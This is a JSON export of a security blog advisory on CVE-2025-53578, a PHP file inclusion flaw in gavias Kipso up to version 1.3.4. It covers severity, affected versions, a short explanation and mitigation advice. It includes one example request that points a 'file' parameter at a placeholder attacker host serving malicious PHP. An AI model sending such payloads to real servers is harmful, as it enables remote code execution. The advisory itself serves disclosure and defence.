{"id":72781,"date":"2025-09-08T04:13:38","date_gmt":"2025-09-08T04:13:38","guid":{"rendered":""},"modified":"2025-10-03T12:33:16","modified_gmt":"2025-10-03T18:33:16","slug":"cve-2025-53578-critical-php-remote-file-inclusion-vulnerability-in-gavias-kipso","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53578-critical-php-remote-file-inclusion-vulnerability-in-gavias-kipso\/","title":{"rendered":"<strong>CVE-2025-53578: Critical PHP Remote File Inclusion Vulnerability in gavias Kipso<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The latest in a string of high-severity vulnerabilities, CVE-2025-53578, is an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; (also known as &#8216;PHP Remote File Inclusion&#8217;) vulnerability. This flaw, found in gavias Kipso, permits PHP Local File Inclusion, thus creating an opening for potential system compromise or data leakage.<br \/>\nDealing with a CVSS Severity Score of 8.1, it&#8217;s crucial for organisations using gavias Kipso up to and including <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51055-insecure-data-storage-vulnerability-in-vedo-suite-version-2024-17\/\"  data-wpil-monitor-id=\"81587\">version 1.3.4 to understand the implications of this vulnerability<\/a>, its potential effect on their systems, and the steps they can take to mitigate its risks.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53578<br \/>\nSeverity: High, CVSS score 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80825\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2670460827\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>gavias Kipso | up to 1.3.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a flaw in the way <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58214-php-remote-file-inclusion-vulnerability-in-gavias-indutri\/\"  data-wpil-monitor-id=\"87934\">gavias Kipso processes PHP<\/a> Include\/Require statements. If an attacker can manipulate the filename used in these statements, they can potentially include <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80510\">local files<\/a> or remote files from a malicious server. Once included, these files will be executed in the context of the application, which could lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49707-unauthorized-access-and-spoofing-vulnerability-in-azure-virtual-machines\/\"  data-wpil-monitor-id=\"80799\">unauthorized access<\/a>, data leakage, or even a complete system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3579734191\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49382-cross-site-request-forgery-vulnerability-in-jobzilla-wordpress-theme\/\"  data-wpil-monitor-id=\"81158\">vulnerability might be exploited using a HTTP request:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is manipulating the &#8216;file&#8217; parameter in the URL to include a PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48157-php-local-file-inclusion-vulnerability-in-michele-giorgi-formality\/\"  data-wpil-monitor-id=\"84664\">file from a remote serve<\/a>r. This file could contain malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50177-code-execution-vulnerability-in-windows-message-queuing\/\"  data-wpil-monitor-id=\"80549\">code that would then be executed<\/a> by the server.<\/p>\n<p><strong>Mitigation and Fixes<\/strong><\/p>\n<p>Users of gavias Kipso are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, it is also recommended to use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. These systems can help detect and block <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81188\">attempts to exploit this vulnerability<\/a>.<br \/>\nRegular updates and patches are the first line of defense against vulnerabilities like CVE-2025-53578. It is crucial to have a robust and proactive <a href=\"https:\/\/www.ameeba.com\/blog\/introducing-the-ameeba-cybersecurity-group-chat\/\"  data-wpil-monitor-id=\"88525\">cybersecurity<\/a> strategy that includes regular software updates and continuous monitoring for unusual activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The latest in a string of high-severity vulnerabilities, CVE-2025-53578, is an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; (also known as &#8216;PHP Remote File Inclusion&#8217;) vulnerability. This flaw, found in gavias Kipso, permits PHP Local File Inclusion, thus creating an opening for potential system compromise or data leakage. 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